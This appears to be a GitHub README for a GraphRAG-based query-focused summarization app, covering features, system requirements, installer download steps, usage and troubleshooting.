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πŸ“Š Streamline query-focused summarization by constructing knowledge graphs and extracting insights from document corpora with the GraphRAG pipeline.

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πŸŽ‰ graphrag-query-summarization - Simplify Summarization of Large Texts

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πŸš€ Getting Started

Welcome to the graphrag-query-summarization application! This tool helps you create focused summaries from large texts. Developed based on the 2024 paper "From Local to Global" by Edge et al., it uses advanced techniques for better summarization results.

πŸ“¦ Features

  • Query-Focused Summarization: Generate summaries that are specific to your queries.
  • Large Text Handling: Efficiently process big documents.
  • Knowledge Graph Construction: Helps improve context understanding within texts.
  • User-Friendly Interface: Easy navigation for all users.

πŸ’» System Requirements

Before you download, ensure your computer meets these requirements:

  • Operating System: Windows 10 or newer, macOS 10.15 or newer, or a recent version of Linux.
  • RAM: At least 8 GB of RAM recommended.
  • Disk Space: Minimum of 500 MB available for installation.
  • Internet Connection: Required for downloading the application and updates.

πŸ“₯ Download & Install

To get started, visit this page to download: graphrag-query-summarization Releases.

Installation Steps

  1. Visit the Releases Page: Click the link above to go to the application’s releases page.
  2. Choose Your Version: Find the latest version available. Click on it to see all downloadable files.
  3. Download the Application: Select the installer for your operating system. This file will end with .exe for Windows, .dmg for macOS, or a tarball for Linux.
  4. Run the Installer: Once the file is downloaded, double-click it to start the installation. Follow the on-screen instructions.
  5. Launch the Application: After installation, find the application in your programs or applications folder. Click to open and start summarizing!

πŸŽ‰ Usage Instructions

  1. Open the Application: Launch the app as described above.
  2. Upload Your Document: Click on the option to upload a text file or paste your text directly into the provided space.
  3. Enter Your Query: Type in the specific question or topic you want a summary of.
  4. Generate Summary: Click on the β€œSummarize” button. Wait for a moment as the application processes your request.
  5. View Your Summary: The summary will display on-screen. You can copy it for further use or download it as a file.

πŸ”§ Troubleshooting

If you face any issues during installation or usage, consider the following steps:

  • Installation Issues: Ensure your system meets the requirements. Check your internet connection.
  • Summary Quality: If the summary does not meet your expectations, try rephrasing your query or providing more context.
  • Application Crashes: Restart the app. If the issue persists, ensure your system has enough resources available.

πŸ“š Additional Resources

For more detailed explanations and help, check the following:

πŸ› οΈ Contributing

We welcome contributions to improve graphrag-query-summarization. If you have suggestions or ideas, feel free to reach out through the issues section on GitHub.

You can also check the application documentation to find ways to contribute effectively.

πŸ“œ License

This project is licensed under the MIT License. You can freely use this software, but please acknowledge the authors.

Thank you for using graphrag-query-summarization! We hope this tool meets your needs for effortless summarization.

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